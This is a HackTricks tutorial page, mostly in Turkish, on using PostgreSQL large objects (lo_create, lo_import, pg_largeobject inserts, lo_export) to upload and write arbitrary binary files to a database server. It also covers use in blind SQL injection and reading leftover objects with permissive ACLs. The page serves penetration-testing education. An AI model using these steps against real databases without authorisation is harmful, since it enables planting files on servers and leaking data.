Big Binary Files Upload (PostgreSQL)

Support HackTricks

PostgreSQL Büyük Nesneler

PostgreSQL, büyük veri türlerini, örneğin resimler veya PDF belgeleri gibi, depolamak için tasarlanmış büyük nesneler olarak bilinen bir yapı sunar ve bu nesnelere pg_largeobject tablosu aracılığıyla erişilir. Bu yaklaşım, verilerin dosya sistemine geri aktarımını sağladığı için COPY TO işlevine göre avantajlıdır ve orijinal dosyanın tam bir kopyasının korunmasını garanti eder.

Bu tabloda tam bir dosya depolamak için, pg_largeobject tablosunda bir nesne oluşturulmalı (bir LOID ile tanımlanır) ve ardından bu nesneye her biri 2KB boyutunda veri parçaları eklenmelidir. Bu parçaların tam olarak 2KB boyutunda olması (son parçanın istisna olabileceği durumlar hariç) önemlidir, böylece dışa aktarma işlevi doğru çalışır.

İkili verilerinizi 2KB parçalarına bölmek için aşağıdaki komutlar çalıştırılabilir:

split -b 2048 your_file # Creates 2KB sized files

Her dosyayı Base64 veya Hex'e kodlamak için aşağıdaki komutlar kullanılabilir:

base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

Önemli: Bu süreci otomatikleştirirken, 2KB'lık açık metin baytları parçaları göndermeyi garanti edin. Hex kodlu dosyalar, boyutun iki katına çıkması nedeniyle her parça için 4KB veri gerektirecektir, Base64 kodlu dosyalar ise ceil(n / 3) * 4 formülünü takip eder.

Büyük nesnelerin içeriği, hata ayıklama amaçları için şu şekilde görüntülenebilir:

select loid, pageno, encode(data, 'escape') from pg_largeobject;

Using lo_creat & Base64

İkili verileri depolamak için önce bir LOID oluşturulur:

SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

Hassas kontrol gerektiren durumlarda, örneğin Blind SQL Injection istismarında, sabit bir LOID belirtmek için lo_create tercih edilir.

Veri parçaları daha sonra şu şekilde eklenebilir:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

Büyük nesneyi kullanımdan sonra dışa aktarmak ve potansiyel olarak silmek için:

SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

lo_import ve Hex Kullanımı

lo_import fonksiyonu, büyük bir nesne için bir LOID oluşturmak ve belirtmek için kullanılabilir:

select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

Oluşturma işleminden sonra, her sayfa için veri eklenir ve her parça 2KB'yi aşmaz:

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

Veri aktarımını tamamlamak için, veriler dışa aktarılır ve büyük nesne silinir:

select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

Limitations

Büyük nesnelerin ACL'leri (Erişim Kontrol Listeleri) olabileceği belirtilmiştir, bu da kullanıcı tarafından oluşturulan nesnelere bile erişimi kısıtlayabilir. Ancak, izin verici ACL'lere sahip eski nesneler hala içerik sızdırma için erişilebilir olabilir.

Support HackTricks

Last updated